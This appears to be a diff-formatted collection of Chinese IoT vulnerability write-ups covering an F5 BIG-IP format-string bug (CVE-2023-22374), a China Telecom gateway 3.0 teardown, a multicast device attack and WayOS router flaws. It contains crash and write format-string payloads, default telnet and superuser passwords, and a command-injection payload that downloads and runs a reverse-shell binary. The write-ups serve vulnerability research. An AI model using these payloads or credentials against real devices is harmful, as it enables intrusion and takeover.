这一小节,我们简单分析了F5设备的俩个pre-auth漏洞,了解了rpm注入和csrf漏洞产生原因。并且在此过程中我们简单学习F5设备中 soap接口和rest接口的区别以及利用。
|
||||
@@ -0,0 +1,140 @@
|
||||
# 物联网安全从零开始-BIG-IP(CVE-2023-22374)漏洞分析
|
||||
> Pachimker
|
||||
> 来源:https://www.iotsec-zone.com/article/368
|
||||
|
||||
# 背景
|
||||
近期,F5 官方爆出BIG-IP 中存在一个高危格式化字符串漏洞 (CVE-2023-22374),可导致认证攻击者触发拒绝服务条件并可能执行任意代码。由于该高危漏洞是格式化字符串漏洞,且相比于其它漏洞平时不常见到,本小节便对该漏洞进行简单分析。
|
||||
|
||||

|
||||
|
||||
受CVE-2023-22374影响的版本有:
|
||||
|
||||
```
|
||||
BIG-IP:17.0.0
|
||||
BIG-IP:16.1.2.2 - 16.1.3
|
||||
BIG-IP:15.1.5.1 - 15.1.8
|
||||
BIG-IP:14.1.4.6 - 14.1.5
|
||||
BIG-IP:13.1.5
|
||||
|
||||
```
|
||||
|
||||
# 漏洞原理
|
||||
从CVE发布的信息中,我们可以得知该漏洞是格式化字符串漏洞。格式化字符串漏洞是C语言标准库中的格式化输出函数的内在漏洞(如:printf,fprintf,sprintf,snprintf等函数),格式化输出函数格式是根据传入格式化字符串参数进行解析的,当开发者不留意格式化输出函数的参数控制,导致格式化输出函数执行时解析错误的参数形成漏洞。简单来说格式化字符串漏洞造成的原因就是格式字符串函数要求的参数和提供的参数不匹配。化字符串漏洞攻击可造成程序崩溃、程序信息数据窃取、程序内存修改、获取执行权限等等。
|
||||
|
||||
以一个简单程序为例。下图中,假设程序开发者定义了变量a,b,c。程序开发者在使用printf进行格式化输出时,不小心丢掉了参数c,但是格式化输出函数printf并不会检测开发者是否丢掉了参数,并且按照程序执行逻辑进行正常解析,就导致了printf函数将栈上的其他数据给泄露了出来(32位程序的参数存放在栈中。当传入参数有误时,printf会误认为将其他数据作为格式化参数进行输出)。
|
||||
|
||||

|
||||
|
||||
上图中只是一个简单的示例,大多数开发者都会察觉到,但是实例中出现的漏洞,并不会像上面那么明显。当开发者将用户输入数据存储至申请的变量时,以为用户会用字符串进行输入,但是攻击者输入带有特殊含义字符串进行输入时,此时的函数变成了printf("aaaa.%x.%x.%x.%x.%x."),后面程序执行时就像上面的例子效果一样(printf误认为后面有5个格式化参数),导致了printf函数将栈上的其他数据泄露了出来。
|
||||
|
||||

|
||||
|
||||
注意:由于保存字符串的变量在栈空间中,攻击者可以输入"xxxxyyyy%Nc%N$n.%Nc%N$n.."(N为整数,N$:获取格式化字符串中的指定参数)进行地址写入获取执行权限,或输入"%s.%s.%s.%s.%s..."(printf函数中,%s期望赋予一个存储地址,并打印输出在此地址中存储的数据。栈空间中有许多非存储地址,当使用%s进行访问时,由于是非法地址,程序直接崩溃)使程序崩溃。
|
||||
|
||||
```
|
||||
%后面可加参数部分解释为:
|
||||
d/i,有符号整数
|
||||
u,无符号整数
|
||||
x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母.
|
||||
s,输出以null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。
|
||||
c,把 int 参数转为 unsigned char 型输出
|
||||
p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
|
||||
n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
|
||||
|
||||
```
|
||||
|
||||
知道了格式化字符串漏洞的原理后,我们便可以对CVE-2023-22374进行简单分析。
|
||||
|
||||
# 漏洞分析
|
||||
|
||||
本小节中,在靶场环境中调用本小节使用的漏洞环境:BIG-IP 15.1.5.1。
|
||||
|
||||

|
||||
|
||||
在为BIG-IP靶标设置好IP地址后,BIG-IP会自动分配出相同的mgmt IP地址。
|
||||
|
||||

|
||||
|
||||
CVE信息中表明在bip-ip受影响的版本中,格式化字符串漏洞出现在iControl SOAP服务中,并且该漏洞可以将iControl SOAP CGI服务崩溃或可能远程代码执行。在前面的小节分析CVE-2022-41622时,我们已经分析了此程序(当时并未详细说明)。我们可以在F5官方网站中查看iControl SOAP的说明,如下图所示,iControl SOAP 是一个开放的 API,使用 SOAP/XML 格式的信息进行通信。当用户通过WSDL来访问"/iControl/iControlPortal.cgi"路径的cgi服务后,我们可以通过查看/var/log/ltm中的日志信息来查看用户启动的 SOAP API 调用记录。由此可知当我们对iControlPortal.cgi进行攻击时,可以在"/var/log/ltm"文件中观察到执行结果。
|
||||
|
||||

|
||||
|
||||
CVE-2023-22374漏洞产生的位置位于“_vsyslog_chk”函数中,当传入的第二个参数a2为-1时,程序进入vfprintf函数的执行流程。在函数处理时,a3参数可由用户控制,且没有进行字符串过滤,导致用户可输入带有特殊含义字符串从而被vfprintf函数格式化输出。
|
||||
|
||||

|
||||
|
||||
对"_syslog_chk"函数按"x"交叉引用,可以查看到在syslog函数中调用了"_syslog_chk"函数。并且"_syslog_chk"函数的参数a2为-1,a3参数由syslog的a2参数传入。
|
||||
|
||||

|
||||
|
||||
syslog函数由“/usr/local/www/iControl/iControlPortal.cgi"程序的"PortalDispatch::HandleWSDLRequest"函数被调用。
|
||||
|
||||

|
||||
|
||||
在下面的动态调试中,我们将观察到从用户输入带有特殊含义字符串到漏洞触发详细的流程。
|
||||
|
||||
调试过程如下,首先需要将要调试的“/usr/local/www/iControl/iControlPortal.cgi"程序和其所需的lib库拷贝到本地。这里可以使用“ldd 程序名”查看程序所需动态库,下图中,"/lib"目录软连接到了"/usr/lib"目录,所以改程序所有的动态库都位于"/usr/lib"目录下。
|
||||
|
||||

|
||||
|
||||
使用scp命令将“/usr/local/www/iControl/iControlPortal.cgi"和"/usr/lib/*"文件拷贝到本地,并在big ip中传入gdbserver对iControlPortal.cgi进程进行attach。
|
||||
|
||||

|
||||
|
||||
使用gdb对iControlPortal.cgi程序进行远程调试,在PortalDispatch::HandleWSDLRequest函数处断点,并设置好lib库目录后,使用"target remote ip:port"进行连接调试。程序自动断下来后,输入c运行,随后发送poc。
|
||||
|
||||

|
||||
|
||||
程序断在了我们的断点处,随后接着往下调试。下图中程序获取QUERY_STRING环境变量参数的值,这里eax即获取到的值,可以看到我们传入的poc。
|
||||
|
||||

|
||||
|
||||
使用hex命令查看地址里面对应的内容。
|
||||
|
||||

|
||||
|
||||
随后获取"CONTENT_LENGTH"和"SCRIPT_NAME"环境变量的值。
|
||||
|
||||

|
||||
|
||||
程序进入循环,程序使用strchr搜索QUERY_STRING环境变量参数的值中第一次出现"."符号的位置,并判断"."后面的字符是否存在大于"0x2f",随后结束循环。
|
||||
|
||||

|
||||
|
||||
紧接着,程序将“query: WSDL=ASM.LoggingProfile:%x:%x:%x:%x:%x:%x:%x:%x:%x::%x:%x:%x%x:”作为第二个参数传入syslog函数。
|
||||
|
||||

|
||||
|
||||
随后在syslog函数里面调用了"__syslog_chk"函数,“query: WSDL=ASM.LoggingProfile:%x:%x:%x:%x:%x:%x:%x:%x:%x::%x:%x:%x%x:”字符串作为第三个参数传入。
|
||||
|
||||

|
||||
|
||||
在"__syslog_chk"函数中,使用vfprintf将格式化字符串的结果输入到open_memstream函数申请的内存流(内存流可根据需求自动增长)中。这里vfprintf在格式化字符串时产生了漏洞。
|
||||
|
||||

|
||||
|
||||
随后,程序调用send函数将日志输出到/var/log/ltm文件中。此条汇编执行完成后,我们可在“/var/log/ltm”文件观看到本地poc攻击结果。
|
||||
|
||||

|
||||
|
||||
几乎所有的wsdl都可以触发该漏洞,下图为LocalLB.VirtualServer poc攻击后,漏洞触发处的参数情况。
|
||||
|
||||

|
||||
|
||||
同理,所有的wsdl被攻击后的日志信息也会send到/var/log/ltm文件中。
|
||||
|
||||

|
||||
|
||||
# 漏洞复现
|
||||
|
||||
根据调试可知该漏洞为堆上的格式化字符串漏洞,堆中格式化字符串漏洞的利用步骤一般都是先泄露地址信息,包括ELF的地址和libc的地址。由于是堆上的格式化字符串漏洞,参数不在栈上,所以无法根据参数进行任意地址写入。这时就需要查找栈上的数据分布情况,理想的状况下需要三个指针p1、p2、p3,形成p1指向p2、p2指向p3(p3为返回地址位置)的情况,这时我们可以先利用p1修改p2的最低字节,可以使p2指向p3指针8字节中的任意1字节并修改它,这样可以逐字节地修改p3成为one_gadget的地址就可以获得shell。在CVE-2023-22374的远程代码执行漏洞利用方面,攻击者无法看到日志文件中的泄露信息也就无法泄露程序的地址信息,调试过程中栈上的空间分布并没有出现理想中的结果(即p3为_vsyslog_chk函数的返回地址或PortalDispatch::HandleWSDLRequest函数的返回地址),并且如果想要多次写入,由于aslr的存在重新写入时地址会改变,所以想要获取远程代码执行权限还是比较困难的(不排除大佬有其他方式或程序出现的特殊状况)。
|
||||
|
||||

|
||||
|
||||
而在拒绝服务攻击方面,格式化字符串漏洞利用较为简单,只需要将poc改为"%s%s%s%s%s%s%s%s"就可以使得程序崩溃。
|
||||
|
||||

|
||||
|
||||
# 总结
|
||||
|
||||
在这一小节中,我们学习格式化字符串漏洞,以及简单分析了格式化字符串漏洞产生的过程。同时,我们了解了发生在堆上的格式化字符串漏洞的简答分析流程,虽然CVE-2023-22374漏洞在实际利用情况比较鸡肋,但是对我们研究学习非常有帮助。
|
||||
@@ -0,0 +1,267 @@
|
||||
# 电信天翼网关3.0分析(上)
|
||||
> IOTsec-Zone
|
||||
> 来源:https://www.iotsec-zone.com/article/374
|
||||
|
||||
# 0x00:前言
|
||||
中国电信是三大运营商中最大的固网宽带接入服务提供商,同时也是最早开始建设光纤宽带的运营商。如下图,从早期的e8-C,到后来的天翼智能网关1.0,2.0,3.0以及最新的4.0,其固网终端接入设备(后统称:光猫)始终走在三大运营商的最前列。前期,在另一个平台以及我们的微信公众号上陆陆续续写了一些电信光猫的分析文章,但很粗浅。随着分析工作的不断进行,以及team在时间上的“堆砌”,对电信光猫的了解也更加深入,对其安全性的研究也更加全面。我们将从这篇文章开始继续发表电信光猫的分析文件,其中会涉及一些安全相关的问题。
|
||||
|
||||

|
||||
|
||||
# 0x01:文章内容
|
||||
|
||||
从天翼网关3.0开始,电信在其光猫中大胆的引入了lxc容器技术,这使得电信光猫的功(可)能(玩)性得到了极大提升,因此也无法用一篇文章就把这只猫给掰扯清楚,预期得2-3篇文章吧。关于PT926光猫的分析,大致脉络如下图所示:
|
||||
|
||||

|
||||
|
||||
# 0x02:源代码获取
|
||||
|
||||
获取光猫中的文件信息有两个渠道,一个是直接读取固件,另一个是通过telnet或SSH获得光猫的root权限dump文件系统。第一种方法获取到的是压缩文件格式存储的、未展开的源文件,配置文件等,然而涉及光猫运行的信息及参数需要进一步分析。第二种方法获取到的是操作系统加载至内存后,完全展开的文件系统中的数据,既包括了相关源文件,也包括了内核状态数据,光猫运行的mib数据库。不论是获取固件还是获取动态的系统数据,获得光猫root权限的shell都是必答题。
|
||||
|
||||
### 2.1、获取光猫超级管理员账户(telecomadmin)密码
|
||||
|
||||
由于光猫的特殊性,从e8-C光猫(甚至是e8系列猫)开始,电信光猫都内置了telecomadmin账户,即光猫玩家口中的电信光猫超级用户,该账户默认密码为:nE7jA%5m。但是,光猫运行一段时间后,电信后端会定期更新密码,更新后的密码为:telecomadminXXXXXXXX,其中XXXXXXX为8位的随机数。不同生产厂商的光猫有不同的方法可以获取telecomadmin超级账户的密码,当然实在不行还可以向电信客服或者电信安装师傅索要,虽然他们不一定会给。
|
||||
|
||||
对于PT926G而言,有至少2种方法可以获得超级用户对应的密码。一个是通过web端任意文件访问的漏洞,将/var/config/lastgood.xml文件拷贝至U盘中。另一种方法是,利用光猫FTP服务器访问权限漏洞,直接读取/var/config/lastgood.xml文件。该文件中保存了当前超级用户的密码。当然,退一万步,还可以直接将光猫反复重置,使用出厂默认的密码登录。
|
||||
|
||||
通过上述2种方法中的任意一种方法,均可获得
|
||||
|
||||
### 2.2、开启(允许访问)光猫系统中的SSH或telnet
|
||||
|
||||
对于电信天翼网关3.0而言,开启telnet的方法有2种,一种是临时性开启,另一种是永久性开启,在chinadsl.net论坛上都有具体的方法。
|
||||
|
||||
利用前一步中获取的lastgood.xml文件,可以找到telecomadmin账户对应的密码,利用该账户登录光猫web portal。确认以telecomadmin权限成功登录光猫后,访问[http://192.168.1.1:8080/bd/saveconf.asp](http://192.168.1.1:8080/bd/saveconf.asp),下载config.xml配置文件。
|
||||
|
||||

|
||||
|
||||
Config.xml文件中包含了登录telnet登录光猫所需要的2个密码。其中,登录telnet所用的账户admin对应的密码为TeleCom_1234。登陆之后,su所需的密码为TeleCom_xxxxxx,其中xxxxxx位电信运营商随机分配的6位随机数。
|
||||
|
||||

|
||||
|
||||
此外,以telecomadmin权限登录光猫后,访问[http://192.168.1.1/bd/versioninfo.asp页面](http://192.168.1.1/bd/versioninfo.asp页面),也可以获得telnet登录密码及使能密码,如下图:
|
||||
|
||||

|
||||
|
||||
### 2.3、获取源文件:固件和运行时文件
|
||||
|
||||
天翼网关3.0默认的shell是基于busybox的,提供了dd命令,可以很简单的获取光猫固件,具体操作流程如下图所示。导出的固件可以直接保存到挂载的U盘中,也可以逐一将固件保存到/var目录下,通过busybox tftp命令发送到配置好的外部TFTP服务器。
|
||||
|
||||

|
||||
|
||||
# 0x03:启动脚本分析
|
||||
|
||||
### 3.1、一些必要的废话
|
||||
|
||||
天翼网关系列产品一直都是采用Linux作为底层操作系统,当然是经过魔改之后的Linux,同时还被电信贴上了一堆光鲜亮丽的标签,例如:
|
||||
|
||||
“天翼网关2.0承载着家庭网络中心、家庭服务中心、家庭数据中心的重要使命,此次在MWCS17上的首次亮相更是显现出中国电信及运营商在智慧家庭市场上的决心与成果,面对万物互联的时代,未来运营商与互联网企业之间的竞合关系将更为紧密且激烈,如何积极把握下一个智慧家庭市场的窗口期,形成具有竞争力的生态关系,将成为每一个参与其中的企业不得不思考的核心议题。”【1】
|
||||
|
||||
“张明杰指出,中国电信整个OS可以远程随时随地升级,不断优化和迭代。业务是通过插件化的方式,通过平台,包括用户的自助可以随时随地加载、卸载,真正意义上实现了从网络终端将它达到一个高水平。同时也可以较长时间的保护硬件的投资,而不是说硬件自行下发了以后做了一些变化就得重新采购。这个是天翼网关形成的基础能力、连接能力,包括对于存储的对接以及智能安防的对接。”【2】
|
||||
|
||||

|
||||
|
||||
如上,这些看着高大上的文字描述极易让人产生错觉。一方面,运营商以及产品供应商容易陷入自我陶醉般的眩晕;另一方面,很多hacker会陷入莫名的自我否定或者畏惧,“能hack掉这么牛X的设备吗?”然而,如果我们换一个说法,很多东西就没有那种迷惑性了,比如:
|
||||
|
||||
**天翼智能网关:= SOC + Linux + lxc + middleware**
|
||||
|
||||
### 3.1.1 SOC
|
||||
|
||||
天翼网关进化的过程是个软硬件同时进化的过程,从最老的e8-C,到高度集成化的天翼网关4.0。下图是友华天翼网关4.0 PT928 E的电路板。其中,散热片下方的是一颗联发科的SOC芯片,RTL9607C。
|
||||
|
||||

|
||||
图3-2:天翼网关4.0电路板
|
||||
|
||||

|
||||
图3-3:天翼网关4.0 /proc/cpuinfo
|
||||
|
||||
对比一下电信初代电信光猫e8-C的电路图,差别很明显。从电路板来看,e8-C的集成度明显不如天翼网关4.0。
|
||||
|
||||

|
||||
|
||||
### 3.1.2 Linux
|
||||
|
||||
从e8-C开始到最新的天翼网关4.0,电信光猫底层操作系统(相较于lxc容器而言)自始至终都是部署的Linux操作系统。具体到PT926G而言,通过uname命令可以查看内核信息。
|
||||
|
||||

|
||||
|
||||
### 3.1.3 lxc
|
||||
|
||||
从天翼网关3.0开始,光猫内部除了运行底层Linux系统之外,还运行了OpenWrt的lxc容器。因此,光猫的功能性得到了极大扩展,这也就是前面电信大佬们所谓的极大扩展了光猫的兼容性,支持数百个第三方插件。其实,OpenWrt所能运行的插件远不止这个数,电信大佬们还是很谦虚的。
|
||||
|
||||
### 3.1.4 中间件
|
||||
|
||||
天翼网关中间件运行于底层操作系统之上,主要负责电信运营商侧的业务逻辑,包括但不限于基于tr069光猫管理业务。这一块内容偏重电信业务逻辑,不在本文分析内容之列。如果感兴趣,可以搜索“电信
|
||||
|
||||
itms”【3】
|
||||
|
||||
### 3.2、光猫启动脚本分析
|
||||
|
||||
Linux系统上电之后的执行流程如下图所示。
|
||||
|
||||

|
||||
|
||||
按照上图逻辑,电信光猫完成boot之后,创建init进程,并执行/etc/inittab脚本,完成系统的初始化。
|
||||
|
||||

|
||||
|
||||
从上图中“console::sysinit:/etc/init.d/rcS”配置信息可以看出,系统启动将读取/etc/init.d/rcS完成余下的启动流程。
|
||||
|
||||

|
||||
|
||||
**A)rcS脚本**
|
||||
|
||||
/etc/init.d/rcS脚本文件内容如下。脚本执行后,程序将从当前目录下rc0脚本开始依次检查并执行存在的脚本程序。
|
||||
|
||||

|
||||
|
||||
**B)rc2脚本**
|
||||
|
||||
rc2脚本执行以下操作:
|
||||
|
||||
—— 用于挂载文件系统,包括proc,sysfs,tmpfs等等
|
||||
|
||||
—— 创建系统运行所需的目录,主要位于/var目录下
|
||||
|
||||
—— 执行/etc/scripts目录下部分脚本,例如/etc/scripts/mnt_tmpfs.sh,/etc/scripts/mnt_cfgfs.sh等
|
||||
|
||||
—— 修改内核变量,例如:/proc/sys/kernel/hotplug,/proc/sys/net/unix/max_dgram_qlen
|
||||
|
||||
—— 设置本机回环地址
|
||||
|
||||

|
||||
|
||||
**C)rc3脚本**
|
||||
|
||||
rc3脚本主要完成以下初始化任务:
|
||||
|
||||
—— 判断是否需要重置光猫
|
||||
|
||||
—— 启动并在后台运行配置程序/bin/configd
|
||||
|
||||
—— 完成启动过程中配置文件相关操作,包括/var/config下的各种xml配置文件
|
||||
|
||||
—— 设备初始化操作,包括电源,DSP芯片等
|
||||
|
||||
—— 软件版本检测
|
||||
|
||||
—— 判断光猫业务模式,EPON或GPON,并进行相应的初始化操作,例如加载设备驱动等
|
||||
|
||||
—— 设置Linux内核nice值
|
||||
|
||||

|
||||
|
||||
**D)rc4脚本**
|
||||
|
||||
rc4脚本主要负责完成ubi文件系统的初始化工作,包括:
|
||||
|
||||
—— 调用/etc/scripts/mount_ubifs.sh脚本,挂载ubi文件系统(Unsorted Block Image File System, UBIFS)【4】
|
||||
|
||||
—— 创建目录
|
||||
|
||||
/opt/upt/apps/etc/dbus-1/system.d和/opt/upt/apps/youhua。目的为何?暂不知晓。
|
||||
|
||||

|
||||
|
||||
**E)rc6脚本**
|
||||
|
||||
rc6脚本仅创建/var/samba目录,后续光猫启动过程中会向该目录写入文件及目录。
|
||||
|
||||

|
||||
|
||||
光猫运行时/var/samba目录下内容见下图。
|
||||
|
||||

|
||||
|
||||
**F)rc10脚本**
|
||||
|
||||
rc10脚本设置了光猫运行时的内核参数,包括IP4协议及内核异常相关的参数。
|
||||
|
||||

|
||||
|
||||
**G)rc12脚本**
|
||||
|
||||
rc12脚本加载文件系统相关的内核驱动,实现对NTFS文件系统的内核支持,以提高NTFS文件系统访问效率,如下图。
|
||||
|
||||

|
||||
|
||||
**H)rc14脚本**
|
||||
|
||||
rc14脚本设置内核对IP v6的支持,如下图。很好奇为什么没有把IP4和IP6相关的内核设置操作放到同一个脚本?
|
||||
|
||||

|
||||
|
||||
**I)rc17脚本**
|
||||
|
||||
rc17脚本主要执行以下操作,如下图:
|
||||
|
||||
—— 设置内核转储路径及转储方式
|
||||
|
||||
—— 后台运行/bin/yhdiag诊断程序
|
||||
|
||||

|
||||
|
||||
**J)rc21脚本**
|
||||
|
||||
rc21脚本创建/var/run/dbus目录以支持dbus运行,如下图:
|
||||
|
||||

|
||||
|
||||
**K)rc32脚本**
|
||||
|
||||
rc32脚本执行以下操作,如下图:
|
||||
|
||||
—— 后台运行/bin/startup程序,其负责执行光猫的网络配置,防火墙配置,配置并运行ftp、samba等服务器配置等重要的操作。根据team的分析,lxc容器相关的操作也是在startup进程中完成的,后续会对lxc容器加载及运行进行全面的分析,如果感兴趣可以关注与freebuf同名的微信公众号“邓肯安全小组”。
|
||||
|
||||
—— 准备dbus运行环境,例如:创建目录,调用dbus- uuidgen
|
||||
|
||||
—— 创建cpus相关的目录,并将/etc/cups/conf目录下所有配置文件拷贝至/var/cups/conf目录
|
||||
|
||||

|
||||
|
||||
**L)rc34脚本**
|
||||
|
||||
rc34脚本执行以下操作,如下图:
|
||||
|
||||
—— 设置防火墙性能参数,即iptables期望表最大值,nf_conntrack_expect_max
|
||||
|
||||
——socket缓存最大值,即rmem_max
|
||||
|
||||
—— 执行voip相关程序
|
||||
|
||||
—— 启用并设置看门狗
|
||||
|
||||

|
||||
|
||||
**M)rc35脚本**
|
||||
|
||||
rc35脚本主要完成lxc容器相关操作,如下图。该部分内容对分析电信最新款光猫极为重要,即支持lxc容器实现双web应用的光猫。
|
||||
|
||||
—— 执行/etc/scripts/lxc_start.sh脚本完成lxc容器初始化操作,例如创建目录,挂载文件系统
|
||||
|
||||
—— 后台运行/bin/ctmanagedaemon
|
||||
|
||||
—— 执行/etc/scripts/fw_loaded.sh脚本,似乎是在执行固件加载后的检查工作
|
||||
|
||||
—— 修改部分涉及lxc的内核运行参数
|
||||
|
||||
—— 执行/etc/scripts/vm_tuning.sh脚本,检测内存状态,并修改涉及lxc的内核运行参数
|
||||
|
||||

|
||||
|
||||
### 3.3、启动脚本分析综述
|
||||
|
||||
—— team将天翼网关3.0的启动脚本/etc/init.d/*与e8-C,天翼网关1.0及天翼网关2.0的启动脚本进行了对比,发现只有天翼网关3.0才采用了/etc/init.d/rcS脚本逐一执行/etc/init.d/目录下其它脚本的实现方法。对于其它天翼网关而言,都是通过一个独立的/etc/init.d/rcS脚本完成全部启动操作。这样的变化或许是因为天翼光猫3.0引入了lxc容器,加之希望通过模块化的方法让脚本编写更加清晰。
|
||||
|
||||
—— team最关心的操作是lxc容器,毕竟这是天意光猫3.0中最大的特色。在OpenWrt的加持下,光猫自身的功能性和可玩性得到了极大提升。在chinadsl.net上阅读了众多帖子,加之team对光猫的深入分析,确定了光猫容器管理程序/usr/sbin/saf。光猫在完成了大部分启动流程后,通过/etc/init.d/rc32脚本执行在后台执行startup程序,即“startup&”。/bin/startup程序执行后,进一步调用/bin/proxyDaemon程序,并由该程序执行“saf service 8 9 10”启动容器。该流程是基于当前分析工作得出的结论,还需进一步分析确认详细的执行流程,以及saf程序的实现逻辑。
|
||||
|
||||
# 0x04:小结
|
||||
|
||||
碍于篇幅,本文就天翼网关3.0的基本软硬件特性和特点进行了简单的介绍,然后着重分析了光猫系统的启动流程。如果对本文内容感兴趣,欢迎留言催更!
|
||||
|
||||
# 0x05:参考
|
||||
【1】MWC落幕!中国电信“天翼网关”2.0完美呈现!//[https://www.sohu.com/a/153967240_515599](https://www.sohu.com/a/153967240_515599)
|
||||
|
||||
【2】打造智慧家庭连接新生态,中国电信明年推天翼网关3.0版本//[https://www.sohu.com/a/208951906_234937](https://www.sohu.com/a/208951906_234937)
|
||||
|
||||
【3】ITMS在网络中的位置和作用. // [https://wenku.baidu.com/view/c546b44edeccda38376baf1ffc4ffe473368fdc5.html?fr=income3-doc-search&_wkts_=1681573923872&wkQuery=电信+itms](https://wenku.baidu.com/view/c546b44edeccda38376baf1ffc4ffe473368fdc5.html?fr=income3-doc-search&_wkts_=1681573923872&wkQuery=电信+itms)
|
||||
|
||||
【4】UBI文件系统-----UBI文件系统概念、UBI文件系统开销、UBI文件系统使用方法// [https://zhuanlan.zhihu.com/p/383367301](https://zhuanlan.zhihu.com/p/383367301)
|
||||
@@ -0,0 +1,117 @@
|
||||
# 组播路由介绍以及攻击实战
|
||||
> ChaMd5
|
||||
> 来源:https://www.iotsec-zone.com/article/356
|
||||
|
||||
# 前言
|
||||
|
||||
前段时间笔者在测试嵌入式设备的时候遇到了nmap扫不出端口的问题,当时非常迷惑这个设备的通信方式。后面研究发现不同于传统的像http或者mqtt这种能通过常用的工具与设备进行通讯的协议,此设备所用的通训方式更为底层,也涉及了笔者第一次接触的通信方式——组播通信。
|
||||
|
||||
# 组播通信介绍
|
||||
|
||||
直白的讲,组播就是为同一个网段下两个或多个设备提供信息交换的渠道。这个渠道被称作组播组,本质上是一个IP。如果以同一网段下的两个设备A,B举例,要实现他们直接的组播通信,首先需要A,B同时加入这个组播组,并且往这个IP的同一端口收发信息。我们发现这其中涉及了两个协议——设备加入组播组所使用的协议,以及设备往组播端口发送信息的协议。笔者测试的设备所用的组播协议为IGMPV3,而设备和端口通信用的是UDP协议。具体的端口号的问题,后面会进行分析。
|
||||
|
||||
# 设备实战
|
||||
|
||||
本次实战中的设备ip为192.168.1.12
|
||||
|
||||
### nmap扫描
|
||||
|
||||

|
||||
|
||||
发现什么也没扫出来(试过了nmap -sS -sU -T4 -A -v也不太行)
|
||||
|
||||
### wireshark抓包
|
||||
|
||||
通过wireshark抓包可以发现这个设备向230.1.1.1发了32字节的消息:
|
||||
|
||||

|
||||
|
||||
具体的消息能够从下面的详情里获取:
|
||||
|
||||

|
||||
|
||||
发现是32个"\x00",很疑惑,先不管它
|
||||
|
||||
### 从关键点入手分析
|
||||
|
||||
这个“230.1.1.1”很值得我们思考,我们通过"grep"大法可以发现有一个二进制文件包含它,并通过ida逆向找到它的位置:
|
||||
|
||||

|
||||
|
||||
然后我们看查这一行所在的一整个函数能看见几个重要的信息
|
||||
|
||||
**重要信息一**
|
||||
|
||||
从这里我们能够找到设备往230.1.1.1发的32个0:
|
||||
|
||||

|
||||
|
||||
那么50001端口是怎么来的呢?这里就要先细说一下sendto函数了:
|
||||
|
||||
```
|
||||
sendto(int s, const void * msg, int len, unsigned int flags, const struct sockaddr * to, int tolen);
|
||||
|
||||
```
|
||||
|
||||
它有一个关键的结构体"sockaadr",而这个结构体有个成员为“sin_port”一般的写法为:
|
||||
|
||||
```
|
||||
addr.sin_port = htons(PORT);
|
||||
|
||||
```
|
||||
|
||||
这里的htons其实是把机器上的整数转换为网络字节序,用人话说就是把小端自序转大端回到这个函数中,我们通过逆向分析能够确定addr这个结构体的十进制表示为1371734018:
|
||||
|
||||

|
||||
|
||||
通过计算器,我们能算出端口:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
正好就是50001
|
||||
|
||||
**重要信息二**
|
||||
|
||||
这个设备如何接受信息可以从recvfrom看出:
|
||||
|
||||

|
||||
|
||||
recvfrom和sendto是配套函数,也能通过刚才的方法分析出具体的端口:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
于是下一步我们就可以尝试往50002端口发送信息了
|
||||
|
||||
**重要信息三**
|
||||
|
||||
发现我们发送的消息的低二字节必须是“\xAF\xE0”以及整体长度必须为0x220,然后就会进入switch
|
||||
|
||||

|
||||
|
||||
### 尝试攻击
|
||||
|
||||
switch中有很多能够利用的地方,这里就挑两个地方来谈谈
|
||||
|
||||
第一个
|
||||
|
||||

|
||||
|
||||
这里能够将这个设备打reboot,不过前面会有检查,这个检查是能绕过的,具体是在第一个case:
|
||||
|
||||

|
||||
|
||||
通过wireshark抓包就能找到
|
||||
|
||||
第二个
|
||||
|
||||

|
||||
|
||||
这里是直接一个命令执行,但是,这里的v7和case选项是一个值而且不是0x2009,也就是说会卡在前面的v7!=0x2009而不能执行成功,笔者猜测这里可能是厂商临时进行的一个修复,而导致不能直接执行。但是,在这个case分支中是存在一个注入点的,绕过以及执行的exp非常巧妙,但是因为厂商的要求等种种原因不能公布,于是无法与大家分享。但是笔者已经构思好了一道能够把这个手法运用的CTF iotpwn题,或许在未来的某天能够以题目的形式出现(狗头)
|
||||
|
||||
-end
|
||||
@@ -0,0 +1,47 @@
|
||||
# 维盟wayos多款路由网关设备存在多个漏洞
|
||||
> splash
|
||||
> 来源:https://www.iotsec-zone.com/article/144
|
||||
|
||||
# wayos维盟路由器漏洞挖掘
|
||||
### 漏洞信息
|
||||
影响WAM_9900等多款WAM系列路由器、网关(带有USB共享功能),包括但不限于WAM系列,SDV系列,21.10.09及之前固件
|
||||
### WAM_9900固件下载
|
||||
[http://www.wayos.com/products/WAM9900siWANquanqianzhaodedaiw.html](http://www.wayos.com/products/WAM9900siWANquanqianzhaodedaiw.html)
|
||||
## 漏洞分析
|
||||
### 预置后门漏洞
|
||||
使用binwalk解包,查看路由器启动文件,会自启动telnet,如果能拿到口令,就直接getshell了
|
||||
使用FirmAE工具仿真固件,运行成功后使用nmap扫描端口,发现开放了telnet端口
|
||||

|
||||
访问连接一下,查找指纹关键字
|
||||
|
||||

|
||||
|
||||
grep -r "telnet" grep -r "WayOS"
|
||||

|
||||
|
||||

|
||||
取并集为mqtt_ai
|
||||
拖入IDA分析,搜索字符串telnet
|
||||

|
||||
疑似telnet口令root/admin,尝试登录,成功,但在web文件中没有找到关于telnet的设置页面
|
||||

|
||||
这个漏洞不是影响系列所有的网关设备,部分网关设备telnet服务不会随系统启动开启
|
||||
### 命令注入漏洞
|
||||
在文件系统下搜索web服务器,在文件jhttd,其他系列固件中也有命名为jhttd_s,从用户输入获取usb_username和use_husername没有进行完全过滤,拼接的命令直接作为system()参数执行,引发命令注入
|
||||

|
||||
登录管理页面,打开usb存储共享服务,提交burp抓包,修改hname为
|
||||
``wget http://192.168.1.2:8000 -O /tmp/re;chmod 777 /tmp/re;/tmp/re 192.168.1.2 5555``
|
||||
将payload进行url编码,本地开启一个http服务,放置编译好的反弹shell文件,监听5555端口
|
||||

|
||||
成功getshell
|
||||

|
||||
这个漏洞影响所有带有USB共享功能的路由网关设备,最新固件和历史固件都受影响
|
||||
### CSRF
|
||||
继续分析jhttpd,搜索字符串usb,有一些关于USB共享功能的url,其中usb_upload.htm是等无需经过身份验证的,
|
||||

|
||||
usb_upload.htm有删除文件功能,不经身份验证会失败,提示权限不足,抓包删除功能的请求,生成csrf poc
|
||||

|
||||
使用认证后的用户打开,会成功删除文件
|
||||
